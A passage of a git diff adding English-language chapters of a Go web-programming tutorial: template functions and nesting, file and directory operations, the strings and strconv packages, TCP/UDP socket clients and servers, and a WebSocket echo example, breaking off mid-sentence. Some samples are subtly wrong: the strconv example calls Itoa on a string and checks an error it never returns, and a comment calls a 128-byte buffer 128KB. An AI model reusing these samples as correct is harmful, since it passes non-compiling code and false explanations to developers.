template.Must(tWithValue.Parse("Not empty pipeline if demo: {{if `anything`}} will be outputted. {{end}}\n")) + tWithValue.Execute(os.Stdout, nil) + + tIfElse := template.New("template test") + tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if `anything`}} if part {{else}} else part.{{end}}\n")) + tIfElse.Execute(os.Stdout, nil) + } + +As you can see, it's easy to use `if-else` in templates. + +** Attention ** You CANNOT use conditional expressions in if, for instance `.Mail=="astaxie@gmail.com"`. Only boolean values are acceptable. + +### pipelines + +Unix users should be familiar with the `pipe` operator, like `ls | grep "beego"`. This command filters files and only shows those that contain the word `beego`. One thing that I like about Go templates is that they support pipes. Anything in `{{}}` can be the data of pipelines. The e-mail we used above can render our application vulnerable to XSS attacks. How can we address this issue using pipes? + + {{. | html}} + +We can use this method to escape the e-mail body to HTML. It's quite the same as writing a Unix command, and its convenient for use in template functions. + +### Template variables + +Sometimes we need to use local variables in templates. We can use them with the `with`, `range` and `if` keywords, and their scope is between these keywords and `{{end}}`. Here's an example of declaring a global variable: + + $variable := pipeline + +More examples: + + {{with $x := "output" | printf "%q"}}{{$x}}{{end}} + {{with $x := "output"}}{{printf "%q" $x}}{{end}} + {{with $x := "output"}}{{$x | printf "%q"}}{{end}} + +### Template functions + +Go uses the `fmt` package to format output in templates, but sometimes we need to do something else. As an example scenario, let's say we want to replace `@` with `at` in our e-mail address, like `astaxie at beego.me`. At this point, we have to write a customized function. + +Every template function has a unique name and is associated with one function in your Go program as follows: + + type FuncMap map[string]interface{} + +Suppose we have an `emailDeal` template function associated with its `EmailDealWith` counterpart function in our Go program. We can use the following code to register this function: + + t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) + +`EmailDealWith` definition: + + func EmailDealWith(args …interface{}) string + +Example: + + package main + + import ( + "fmt" + "html/template" + "os" + "strings" + ) + + type Friend struct { + Fname string + } + + type Person struct { + UserName string + Emails []string + Friends []*Friend + } + + func EmailDealWith(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + // find the @ symbol + substrs := strings.Split(s, "@") + if len(substrs) != 2 { + return s + } + // replace the @ by " at " + return (substrs[0] + " at " + substrs[1]) + } + + func main() { + f1 := Friend{Fname: "minux.ma"} + f2 := Friend{Fname: "xushiwei"} + t := template.New("fieldname example") + t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) + t, _ = t.Parse(`hello {{.UserName}}! + {{range .Emails}} + an emails {{.|emailDeal}} + {{end}} + {{with .Friends}} + {{range .}} + my friend name is {{.Fname}} + {{end}} + {{end}} + `) + p := Person{UserName: "Astaxie", + Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, + Friends: []*Friend{&f1, &f2}} + t.Execute(os.Stdout, p) + } + +Here is a list of built-in template functions: + + var builtins = FuncMap{ + "and": and, + "call": call, + "html": HTMLEscaper, + "index": index, + "js": JSEscaper, + "len": length, + "not": not, + "or": or, + "print": fmt.Sprint, + "printf": fmt.Sprintf, + "println": fmt.Sprintln, + "urlquery": URLQueryEscaper, + } + + +## Must + +The template package has a function called `Must` which is for validating templates, like the matching of braces, comments, and variables. Let's take a look at an example of `Must`: + + package main + + import ( + "fmt" + "text/template" + ) + + func main() { + tOk := template.New("first") + template.Must(tOk.Parse(" some static text /* and a comment */")) + fmt.Println("The first one parsed OK.") + + template.Must(template.New("second").Parse("some static text {{ .Name }}")) + fmt.Println("The second one parsed OK.") + + fmt.Println("The next one ought to fail.") + tErr := template.New("check parse error with Must") + template.Must(tErr.Parse(" some static text {{ .Name }")) + } + +Output: + + The first one parsed OK. + The second one parsed OK. + The next one ought to fail. + panic: template: check parse error with Must:1: unexpected "}" in command + +## Nested templates + +Just like in most web applications, certain parts of templates can be reused across other templates, like the headers and footers of a blog. We can declare `header`, `content` and `footer` as sub-templates, and declare them in Go using the following syntax: + + {{define "sub-template"}}content{{end}} + +The sub-template is called using the following syntax: + + {{template "sub-template"}} + +Here's a complete example, supposing that we have the following three files: `header.tmpl`, `content.tmpl` and `footer.tmpl`. + +Main template: + + //header.tmpl + {{define "header"}} + + + Something here + + + {{end}} + + //content.tmpl + {{define "content"}} + {{template "header"}} +

Nested here

+
    +
  • Nested usag
  • +
  • Call template
  • +
+ {{template "footer"}} + {{end}} + + //footer.tmpl + {{define "footer"}} + + + {{end}} + +Code: + + package main + + import ( + "fmt" + "os" + "text/template" + ) + + func main() { + s1, _ := template.ParseFiles("header.tmpl", "content.tmpl", "footer.tmpl") + s1.ExecuteTemplate(os.Stdout, "header", nil) + fmt.Println() + s1.ExecuteTemplate(os.Stdout, "content", nil) + fmt.Println() + s1.ExecuteTemplate(os.Stdout, "footer", nil) + fmt.Println() + s1.Execute(os.Stdout, nil) + } + +Here we can see that `template.ParseFiles` parses all nested templates into cache, and that every template defined by `{{define}}` is independent of one another. They are persisted in something like a map, where the template names are keys and the values are the template bodies. We can then use `ExecuteTemplate` to execute the corresponding sub-templates, so that the header and footer are independent and content contains them both. Note that if we try to execute `s1.Execute`, nothing will be outputted because there is no default sub-template available. + +Templates in one set know each other, but you must parse them for every single set. + +## Summary + +In this section, you learned how to combine dynamic data with templates using techniques including printing data in loops, template functions and nested templates. By learning about templates, we can conclude discussing the V part of the MVC architecture. In the following chapters, we will cover the M and C aspects of MVC. + +## Links + +- [Directory](preface.md) +- Previous section: [Regexp](07.3.md) +- Next section: [Files](07.5.md) diff --git a/de/07.5.md b/de/07.5.md new file mode 100644 index 00000000..146bcda2 --- /dev/null +++ b/de/07.5.md @@ -0,0 +1,159 @@ +# 7.5 Files + +Files are must-have objects on every single computer device. It won't come as any surprise to you that web applications also make heavy use of them. In this section, we're going to learn how to operate on files in Go. + +## Directories + +In Go, most of the file operation functions are located in the `os` package. Here are some directory functions: + +- func Mkdir(name string, perm FileMode) error + + Create a directory with `name`. `perm` is the directory permissions, i.e 0777. + +- func MkdirAll(path string, perm FileMode) error + + Create multiple directories according to `path`, like `astaxie/test1/test2`. + +- func Remove(name string) error + + Removes directory with `name`. Returns error if it's not a directory or not empty. + +- func RemoveAll(path string) error + + Removes multiple directories according to `path`. Directories will not be deleted if `path` is a single path. + +Code sample: + + package main + + import ( + "fmt" + "os" + ) + + func main() { + os.Mkdir("astaxie", 0777) + os.MkdirAll("astaxie/test1/test2", 0777) + err := os.Remove("astaxie") + if err != nil { + fmt.Println(err) + } + os.RemoveAll("astaxie") + } + +## Files + +### Create and open files + +There are two functions for creating files: + +- func Create(name string) (file *File, err Error) + + Create a file with `name` and return a read-writable file object with permission 0666. + +- func NewFile(fd uintptr, name string) *File + + Create a file and return a file object. + + +There are also two functions to open files: + +- func Open(name string) (file *File, err Error) + + Opens a file called `name` with read-only access, calling `OpenFile` under the covers. + +- func OpenFile(name string, flag int, perm uint32) (file *File, err Error) + + Opens a file called `name`. `flag` is open mode like read-only, read-write, etc. `perm` are the file permissions. + +### Write files + +Functions for writing files: + +- func (file *File) Write(b []byte) (n int, err Error) + + Write byte type content to a file. + +- func (file *File) WriteAt(b []byte, off int64) (n int, err Error) + + Write byte type content to a specific position of a file. + +- func (file *File) WriteString(s string) (ret int, err Error) + + Write a string to a file. + +Code sample: + + package main + + import ( + "fmt" + "os" + ) + + func main() { + userFile := "astaxie.txt" + fout, err := os.Create(userFile) + if err != nil { + fmt.Println(userFile, err) + return + } + defer fout.Close() + for i := 0; i < 10; i++ { + fout.WriteString("Just a test!\r\n") + fout.Write([]byte("Just a test!\r\n")) + } + } + +### Read files + +Functions for reading files: + +- func (file *File) Read(b []byte) (n int, err Error) + + Read data to `b`. + +- func (file *File) ReadAt(b []byte, off int64) (n int, err Error) + + Read data from position `off` to `b`. + +Code sample: + + package main + + import ( + "fmt" + "os" + ) + + func main() { + userFile := "asatxie.txt" + fl, err := os.Open(userFile) + if err != nil { + fmt.Println(userFile, err) + return + } + defer fl.Close() + buf := make([]byte, 1024) + for { + n, _ := fl.Read(buf) + if 0 == n { + break + } + os.Stdout.Write(buf[:n]) + } + } + +### Delete files + +Go uses the same function for removing files and directories: + +- func Remove(name string) Error + + Remove a file or directory called `name`.( *** a `name` ending with `/` signifies that it's a directory*** ) + +## Links + +- [Directory](preface.md) +- Previous section: [Templates](07.4.md) +- Next section: [Strings](07.6.md) diff --git a/de/07.6.md b/de/07.6.md new file mode 100644 index 00000000..65068992 --- /dev/null +++ b/de/07.6.md @@ -0,0 +1,162 @@ +# 7.6 Strings + +On the web, almost everything we see (including user inputs, database access, etc.), is represented by strings. They are a very important part of web development. In many cases, we also need to split, join, convert and otherwise manipulate strings. In this section, we are going to introduce the `strings` and `strconv` packages from the Go standard library. + +## strings + +The following functions are from the `strings` package. See the official documentation for more details: + +- func Contains(s, substr string) bool + + Check if string `s` contains string `substr`, returns a boolean value. + + fmt.Println(strings.Contains("seafood", "foo")) + fmt.Println(strings.Contains("seafood", "bar")) + fmt.Println(strings.Contains("seafood", "")) + fmt.Println(strings.Contains("", "")) + + //Output: + //true + //false + //true + //true + +- func Join(a []string, sep string) string + + Combine strings from slice with separator `sep`. + + s := []string{"foo", "bar", "baz"} + fmt.Println(strings.Join(s, ", ")) + //Output:foo, bar, baz + +- func Index(s, sep string) int + + Find index of `sep` in string `s`, returns -1 if it's not found. + + fmt.Println(strings.Index("chicken", "ken")) + fmt.Println(strings.Index("chicken", "dmr")) + //Output:4 + //-1 + +- func Repeat(s string, count int) string + + Repeat string `s` `count` times. + + fmt.Println("ba" + strings.Repeat("na", 2)) + //Output:banana + +- func Replace(s, old, new string, n int) string + + Replace string `old` with string `new` in string `s`. `n` is the number of replacements. If n is less than 0, replace all instances. + + fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2)) + fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1)) + //Output:oinky oinky oink + //moo moo moo + +- func Split(s, sep string) []string + + Split string `s` with separator `sep` into a slice. + + fmt.Printf("%q\n", strings.Split("a,b,c", ",")) + fmt.Printf("%q\n", strings.Split("a man a plan a canal panama", "a ")) + fmt.Printf("%q\n", strings.Split(" xyz ", "")) + fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins")) + //Output:["a" "b" "c"] + //["" "man " "plan " "canal panama"] + //[" " "x" "y" "z" " "] + //[""] + +- func Trim(s string, cutset string) string + + Remove `cutset` of string `s` if it's leftmost or rightmost. + + fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! ")) + Output:["Achtung"] + +- func Fields(s string) []string + + Remove space items and split string with space into a slice. + + fmt.Printf("Fields are: %q", strings.Fields(" foo bar baz ")) + //Output:Fields are: ["foo" "bar" "baz"] + + +## strconv + +The following functions are from the `strconv` package. As usual, please see official documentation for more details: + +- Append series, convert data to string, and append to current byte slice. + + package main + + import ( + "fmt" + "strconv" + ) + + func main() { + str := make([]byte, 0, 100) + str = strconv.AppendInt(str, 4567, 10) + str = strconv.AppendBool(str, false) + str = strconv.AppendQuote(str, "abcdefg") + str = strconv.AppendQuoteRune(str, '单') + fmt.Println(string(str)) + } + +- Format series, convert other data types into string. + + package main + + import ( + "fmt" + "strconv" + ) + + func main() { + a := strconv.FormatBool(false) + b := strconv.FormatFloat(123.23, 'g', 12, 64) + c := strconv.FormatInt(1234, 10) + d := strconv.FormatUint(12345, 10) + e := strconv.Itoa(1023) + fmt.Println(a, b, c, d, e) + } + +- Parse series, convert strings to other types. + + package main + + import ( + "fmt" + "strconv" + ) + + func main() { + a, err := strconv.ParseBool("false") + if err != nil { + fmt.Println(err) + } + b, err := strconv.ParseFloat("123.23", 64) + if err != nil { + fmt.Println(err) + } + c, err := strconv.ParseInt("1234", 10, 64) + if err != nil { + fmt.Println(err) + } + d, err := strconv.ParseUint("12345", 10, 64) + if err != nil { + fmt.Println(err) + } + e, err := strconv.Itoa("1023") + if err != nil { + fmt.Println(err) + } + fmt.Println(a, b, c, d, e) + } + +## Links + +- [Directory](preface.md) +- Previous section: [Files](07.5.md) +- Next section: [Summary](07.7.md) diff --git a/de/07.7.md b/de/07.7.md new file mode 100644 index 00000000..7c56b019 --- /dev/null +++ b/de/07.7.md @@ -0,0 +1,9 @@ +# 7.7 Summary + +In this chapter, we introduced some text processing tools like XML, JSON, Regexp and we also talked about templates. XML and JSON are data exchange tools. You can represent almost any kind of information using these two formats. Regexp is a powerful tool for searching, replacing and cutting text content. With templates, you can easily combine dynamic data with static files. These tools are all useful when developping web applications. I hope that you now have a better understanding of processing and showing content using Go. + +## Links + +- [Directory](preface.md) +- Previous section: [Strings](07.6.md) +- Next chapter: [Web services](08.0.md) diff --git a/de/08.0.md b/de/08.0.md new file mode 100644 index 00000000..dc040939 --- /dev/null +++ b/de/08.0.md @@ -0,0 +1,18 @@ +# 8 Web services + +Web services allow you use formats like XML or JSON to exchange information through HTTP. For example, if you want to know the weather in Shanghai tomorrow, the current share price of Apple, or product information on Amazon, you can write a piece of code to fetch that information from open platforms. In Go, this process can be comparable to calling a local function and getting its return value. + +The key point is that web services are platform independent. This allows you to deploy your applications on Linux and interact with ASP.NET applications in Windows, for example, just like you wouldn't have a problem interacting with JSP on FreeBSD either. + +The REST architecture and SOAP protocol are the most popular styles in which web services can be implemented these days: + +- REST requests are pretty straight forward because it's based on HTTP. Every REST request is actually an HTTP request, and servers handle requests using different methods. Because many developers are familiar with HTTP already, REST should feel like it's already in their back pockets. We are going to show you how to implement REST in Go in section 8.3. +- SOAP is a standard for cross-network information transmission and remote computer function calls, launched by W3C. The problem with SOAP is that its specification is very long and complicated, and it's still getting longer. Go believes that things should be simple, so we're not going to talk about SOAP. Fortunately, Go provides support for RPC (Remote Procedure Calls) which has good performance and is easy to develop with, so we will introduce how to implement RPC in Go in section 8.4. + +Go is the C language of the 21st century, aspiring to be simple yet performant. With these qualities in mind, we'll introduce you to socket programming in Go in section 8.1. Nowadays, many real-time servers use sockets to overcome the low performance of HTTP. Along with the rapid development of HTML5, websockets are now used by many web based game companies, and we will talk about this more in section 8.2. + +## Links + +- [Directory](preface.md) +- Previous Chapter: [Chapter 7 Summary](07.7.md) +- Next section: [Sockets](08.1.md) diff --git a/de/08.1.md b/de/08.1.md new file mode 100644 index 00000000..ed6dbb5d --- /dev/null +++ b/de/08.1.md @@ -0,0 +1,411 @@ +# 8.1 Sockets + +Some network application developers say that the lower application layers are all about socket programming. This may not be true for all cases, but many modern web applications do indeed use sockets to their advantage. Have you ever wondered how browsers communicate with web servers when you are surfing the internet? Or How MSN connects you and your friends together in a chatroom, relaying each message in real-time? Many services like these use sockets to transfer data. As you can see, sockets occupy an important position in network programming today, and we're going to learn about using sockets in Go in this section. + +## What is a socket? + +Sockets originate from Unix, and given the basic "everything is a file" philosophy of Unix, everything can be operated on with "open -> write/read -> close". Sockets are one implementation of this philosophy. Sockets have a function call for opening a socket just like you would open a file. This returns an int descriptor of the socket which can then be used for operations like creating connections, transferring data, etc. + +Two types of sockets that are commonly used are stream sockets (SOCK_STREAM) and datagram sockets (SOCK_DGRAM). Stream sockets are connection-oriented like TCP, while datagram sockets do not establish connections, like UDP. + +## Socket communication + +Before we understand how sockets communicate with one another, we need to figure out how to make sure that every socket is unique, otherwise establishing a reliable communication channel is already out of the question. We can give every process a unique PID which serves our purpose locally, however that's not able to work over a network. Fortunately, TCP/IP helps us solve this problem. The IP addresses of the network layer are unique in a network of hosts, and "protocol + port" is also unique among host applications. So, we can use these principles to make sockets which are unique. + +![](images/8.1.socket.png?raw=true) + +Figure 8.1 network protocol layers + +Applications that are based on TCP/IP all use socket APIs in their code in one way or another. Given that networked applications are becoming more and more prevalent in the modern day, it's no wonder some developers are saying that "everything is about sockets". + +## Socket basic knowledge + +We know that sockets have two types, which are TCP sockets and UDP sockets. TCP and UDP are protocols and, as mentioned, we also need an IP address and port number to have a unique socket. + +### IPv4 + +The global internet uses TCP/IP as its protocol, where IP is the network layer and a core part of TCP/IP. IPv4 signifies that its version is 4; infrastructure development to date has spanned over 30 years. + +The number of bits in an IPv4 address is 32, which means that 2^32 devices are able to uniquely connect to the internet. Due to the rapid develop of the internet, IP addresses are already running out of stock in recent years. + +Address format:`127.0.0.1`, `172.122.121.111`. + +### IPv6 + +IPv6 is the next version or next generation of the internet. It's being developed for solving many of the problems inherent with IPv4. Devices using IPv6 have an address that's 128 bits long, so we'll never need to worry about a shortage of unique addresses. To put this into perspective, you could have more than 1000 IP addresses for every square meter on earth with IPv6. Other problems like peer to peer connection, service quality (QoS), security, multiple broadcast, etc., are also be improved. + +Address format: `2002:c0e8:82e7:0:0:0:c0e8:82e7`. + +### IP types in Go + +The `net` package in Go provides many types, functions and methods for network programming. The definition of IP as follows: + + type IP []byte + +Functions `ParseIP(s string) IP` is for converting an IP from the IPv4 format into IPv6: + + package main + import ( + "net" + "os" + "fmt" + ) + func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s ip-addr\n", os.Args[0]) + os.Exit(1) + } + name := os.Args[1] + addr := net.ParseIP(name) + if addr == nil { + fmt.Println("Invalid address") + } else { + fmt.Println("The address is ", addr.String()) + } + os.Exit(0) + } + +It returns the corresponding IP format for a given IP address. + +## TCP socket + +What can we do when we know how to visit a web service through a network port? As a client, we can send a request to an appointed network port and gets its response; as a server, we need to bind a service to an appointed network port, wait for clients' requests and supply a response. + +In Go's `net` package, there's a type called `TCPConn` that facilitates this kind of clients/servers interaction. This type has two key functions: + + func (c *TCPConn) Write(b []byte) (n int, err os.Error) + func (c *TCPConn) Read(b []byte) (n int, err os.Error) + +`TCPConn` can be used by either client or server for reading and writing data. + +We also need a `TCPAddr` to represent TCP address information: + + type TCPAddr struct { + IP IP + Port int + } + +We use the `ResolveTCPAddr` function to get a `TCPAddr` in Go: + + func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error) + +- Arguments of `net` can be one of "tcp4", "tcp6" or "tcp", which each signify IPv4-only, IPv6-only, and either IPv4 or IPv6, respectively. +- `addr` can be a domain name or IP address, like "www.google.com:80" or "127.0.0.1:22". + +### TCP client + +Go clients use the `DialTCP` function in the `net` package to create a TCP connection, which returns a `TCPConn` object; after a connection is established, the server has the same type of connection object for the current connection, and client and server can begin exchanging data with one another. In general, clients send requests to servers through a `TCPConn` and receive information from the server response; servers read and parse client requests, then return feedback. This connection will remain valid until either the client or server closes it. The function for creating a connection is as follows: + + func DialTCP(net string, laddr, raddr *TCPAddr) (c *TCPConn, err os.Error) + +- Arguments of `net` can be one of "tcp4", "tcp6" or "tcp", which each signify IPv4-only, IPv6-only, and either IPv4 or IPv6, respectively. +- `laddr` represents the local address, set it to `nil` in most cases. +- `raddr` represents the remote address. + +Let's write a simple example to simulate a client requesting a connection to a server based on an HTTP request. We need a simple HTTP request header: + + "HEAD / HTTP/1.0\r\n\r\n" + +Server response information format may look like the following: + + HTTP/1.0 200 OK + ETag: "-9985996" + Last-Modified: Thu, 25 Mar 2010 17:51:10 GMT + Content-Length: 18074 + Connection: close + Date: Sat, 28 Aug 2010 00:43:48 GMT + Server: lighttpd/1.4.23 + +Client code: + + package main + + import ( + "fmt" + "io/ioutil" + "net" + "os" + ) + + func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s host:port ", os.Args[0]) + os.Exit(1) + } + service := os.Args[1] + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + conn, err := net.DialTCP("tcp", nil, tcpAddr) + checkError(err) + _, err = conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n")) + checkError(err) + result, err := ioutil.ReadAll(conn) + checkError(err) + fmt.Println(string(result)) + os.Exit(0) + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +In the above example, we use user input as the `service` argument of `net.ResolveTCPAddr` to get a `tcpAddr`. Passing `tcpAddr` to the `DialTCP` function, we create a TCP connection, `conn`. We can then use `conn` to send request information to the server. Finally, we use `ioutil.ReadAll` to read all the content from `conn`, which contains the server response. + +### TCP server + +We have a TCP client now. We can also use the `net` package to write a TCP server. On the server side, we need to bind our service to a specific inactive port and listen for any incoming client requests. + + func ListenTCP(net string, laddr *TCPAddr) (l *TCPListener, err os.Error) + func (l *TCPListener) Accept() (c Conn, err os.Error) + +The arguments required here are identical to those required by the `DialTCP` function we used earlier. Let's implement a time syncing service using port 7777: + + package main + + import ( + "fmt" + "net" + "os" + "time" + ) + + func main() { + service := ":7777" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() + if err != nil { + continue + } + daytime := time.Now().String() + conn.Write([]byte(daytime)) // don't care about return value + conn.Close() // we're finished with this client + } + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +After the service is started, it waits for client requests. When it receives a client request, it `Accept`s it and returns a response to the client containing information about the current time. It's worth noting that when errors occur in the `for` loop, the service continues running instead of exiting. Instead of crashing, the server will record the error to a server error log. + +The above code is still not good enough, however. We didn't make use of goroutines, which would have allowed us to accept simultaneous requests. Let's do this now: + + package main + + import ( + "fmt" + "net" + "os" + "time" + ) + + func main() { + service := ":1200" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() + if err != nil { + continue + } + go handleClient(conn) + } + } + + func handleClient(conn net.Conn) { + defer conn.Close() + daytime := time.Now().String() + conn.Write([]byte(daytime)) // don't care about return value + // we're finished with this client + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +By separating out our business process from the `handleClient` function, and by using the `go` keyword, we've already implemented concurrency in our service. This is a good demonstration of the power and simplicity of goroutines. + +Some of you may be thinking the following: this server does not do anything meaningful. What if we needed to send multiple requests for different time formats over a single connection? How would we do that? + + package main + + import ( + "fmt" + "net" + "os" + "time" + "strconv" + ) + + func main() { + service := ":1200" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() + if err != nil { + continue + } + go handleClient(conn) + } + } + + func handleClient(conn net.Conn) { + conn.SetReadDeadline(time.Now().Add(2 * time.Minute)) // set 2 minutes timeout + request := make([]byte, 128) // set maximum request length to 128KB to prevent flood based attacks + defer conn.Close() // close connection before exit + for { + read_len, err := conn.Read(request) + + if err != nil { + fmt.Println(err) + break + } + + if read_len == 0 { + break // connection already closed by client + } else if string(request) == "timestamp" { + daytime := strconv.FormatInt(time.Now().Unix(), 10) + conn.Write([]byte(daytime)) + } else { + daytime := time.Now().String() + conn.Write([]byte(daytime)) + } + + request = make([]byte, 128) // clear last read content + } + } + + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +In this example, we use `conn.Read()` to constantly read client requests. We cannot close the connection because clients may issue more than one request. Due to the timeout we set using `conn.SetReadDeadline()`, the connection closes automatically when a client has not sent a request within our allotted time period. When then expiry time has elapsed, our program breaks from the `for` loop. Notice that `request` needs to be created with a max size limitation in order to prevent flood attacks. FInally, we clean the `request` array after processing every request, since `conn.Read()` appends new content to the array instead of rewriting it. + +### Controlling TCP connections + +Controlling TCP functions: + + func DialTimeout(net, addr string, timeout time.Duration) (Conn, error) + +Setting the timeout of connections. These are suitable for use on both clients and servers: + + func (c *TCPConn) SetReadDeadline(t time.Time) error + func (c *TCPConn) SetWriteDeadline(t time.Time) error + +Setting the write/read timeout of one connection: + + func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error + +It's worth taking some time to think about how long you want your connection timeouts to be. Long connections can reduce the amount of overhead involved in creating connections and are good for applications that need to exchange data frequently. + +For more detailed information, just look up the official documentation for Go's `net` package . + +## UDP sockets + +The only difference between a UDP socket and a TCP socket is the processing method for dealing with multiple requests on server side. This arises from the fact that UDP does not have a function like `Accept`. All of the other functions have `UDP` counterparts; just replace `TCP` with `UDP` in the functions mentioned above. + + func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error) + func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error) + func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Error) + func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err os.Error + func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error) + +UDP client code sample: + + package main + + import ( + "fmt" + "net" + "os" + ) + + func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0]) + os.Exit(1) + } + service := os.Args[1] + udpAddr, err := net.ResolveUDPAddr("udp4", service) + checkError(err) + conn, err := net.DialUDP("udp", nil, udpAddr) + checkError(err) + _, err = conn.Write([]byte("anything")) + checkError(err) + var buf [512]byte + n, err := conn.Read(buf[0:]) + checkError(err) + fmt.Println(string(buf[0:n])) + os.Exit(0) + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error ", err.Error()) + os.Exit(1) + } + } + +UDP server code sample: + + package main + + import ( + "fmt" + "net" + "os" + "time" + ) + + func main() { + service := ":1200" + udpAddr, err := net.ResolveUDPAddr("udp4", service) + checkError(err) + conn, err := net.ListenUDP("udp", udpAddr) + checkError(err) + for { + handleClient(conn) + } + } + func handleClient(conn *net.UDPConn) { + var buf [512]byte + _, addr, err := conn.ReadFromUDP(buf[0:]) + if err != nil { + return + } + daytime := time.Now().String() + conn.WriteToUDP([]byte(daytime), addr) + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error ", err.Error()) + os.Exit(1) + } + } + +## Summary + +Through describing and coding some simple programs using TCP and UDP sockets, we can see that Go provides excellent support for socket programming, and that they are fun and easy to use. Go also provides many functions for building high performance socket applications. + +## Links + +- [Directory](preface.md) +- Previous section: [Web services](08.0.md) +- Next section: [WebSocket](08.2.md) diff --git a/de/08.2.md b/de/08.2.md new file mode 100644 index 00000000..57abaed3 --- /dev/null +++ b/de/08.2.md @@ -0,0 +1,159 @@ +# 8.2 WebSockets + +WebSockets are an important feature of HTML5. It implements browser based remote sockets, which allows browsers to have full-duplex communications with servers. Main stream browsers like Firefox, Google Chrome and Safari provide support for this WebSockets. + +People often used "roll polling" for instant messaging services before WebSockets were born, which allow clients to send HTTP requests periodically. The server then returns the latest data to clients. The downside to this method is that it requires clients to keep sending many requests to the server, which can consume a large amount of bandwidth. + +WebSockets use a special kind of header that reduces the number of handshakes required between browser and server to only one, for establishing a connection. This connection will remain active throughout its lifetime, and you can use JavaScript to write or read data from this connection, as in the case of a conventional TCP sockets. It solves many of the headache involved with real-time web development, and has the following advantages over traditional HTTP: + +- Only one TCP connection for a single web client. +- WebSocket servers can push data to web clients. +- Lightweight header to reduce data transmission overhead. + +WebSocket URLs begin with ws:// or wss://(SSL). The following figure shows the communication process of WebSockets. A particular HTTP header is sent to the server as part of the handshaking protocol and the connection is established. Then, servers or clients are able to send or receive data through JavaScript via WebSocket. This socket can then be used by an event handler to receive data asynchronously. + +![](images/8.2.websocket.png?raw=true) + +Figure 8.2 WebSocket principl + +## WebSocket principles + +The WebSocket protocol is actually quite simple. After successfully completing the initial handshake, a connection is established. Subsequent data communications will all begin with "\x00" and end with "\xFF". This prefix and suffix will be visible to clients because the WebSocket will break off both end, yielding the raw data automatically. + +WebSocket connections are requested by browsers and responded to by servers, after which the connection is established. This process is often called "handshaking". + +Consider the following requests and responses: + +![](images/8.2.websocket2.png?raw=true) + +Figure 8.3 WebSocket request and response. + +"Sec-WebSocket-key" is generated randomly, as you may have already guessed, and it's base64 encoded. Servers need to append this key to a fixed string after accepting a request: + + 258EAFA5-E914-47DA-95CA-C5AB0DC85B11 + +Suppose we have `f7cb4ezEAl6C3wRaU6JORA==`, then we have: + + f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11 + +Use sha1 to compute the binary value and use base64 to encode it. We will then we have: + + rE91AJhfC+6JdVcVXOGJEADEJdQ= + +Use this as the value of the `Sec-WebSocket-Accept` response header. + +## WebSocket in Go + +The Go standard library does not support WebSockets. However the `websocket` package, which is a sub-package of `go.net` does, and is officially maintained and supported. + +Use `go get` to install this package: + + go get code.google.com/p/go.net/websocket + +WebSockets have both client and server sides. Let's see a simple example where a user inputs some information on the client side and sends it to the server through a WebSocket, followed by the server pushing information back to the client. + +Client code: + + + + + +

WebSocket Echo Test

+
+

+ Message: +

+
+ + + + +As you can see, it's very easy to use the client side JavaScript functions to establish a connection. The `onopen` event gets triggered after successfully completing the aforementioned handshaking process. It tells the client that the connection has been created successfully. Clients attempting to open a connection typically bind to four events: + +- 1)onopen: triggered after connection has been established. +- 2)onmessage: triggered after receiving a message. +- 3)onerror: triggered after an error has occurred.. +- 4)onclose: triggered after the connection has closed. + +Server code: + + package main + + import ( + "code.google.com/p/go.net/websocket" + "fmt" + "log" + "net/http" + ) + + func Echo(ws *websocket.Conn) { + var err error + + for { + var reply string + + if err = websocket.Message.Receive(ws, &reply); err != nil { + fmt.Println("Can't receive") + break + } + + fmt.Println("Received back from client: " + reply) + + msg := "Received: " + reply + fmt.Println("Sending to client: " + msg) + + if err = websocket.Message.Send(ws, msg); err != nil { + fmt.Println("Can't send") + break + } + } + } + + func main() { + http.Handle("/", websocket.Handler(Echo)) + + if err := http.ListenAndServe(":1234", nil); err != nil { + log.Fatal("ListenAndServe:", err) + } + } + +When a client `Send`s user input information, the server `Receive`s it, and uses `Send` once again to return a response. + +![](images/8.2.websocket3.png?raw=true) + +Figure 8.4 WebSocket server received information. + +Through the example above, we 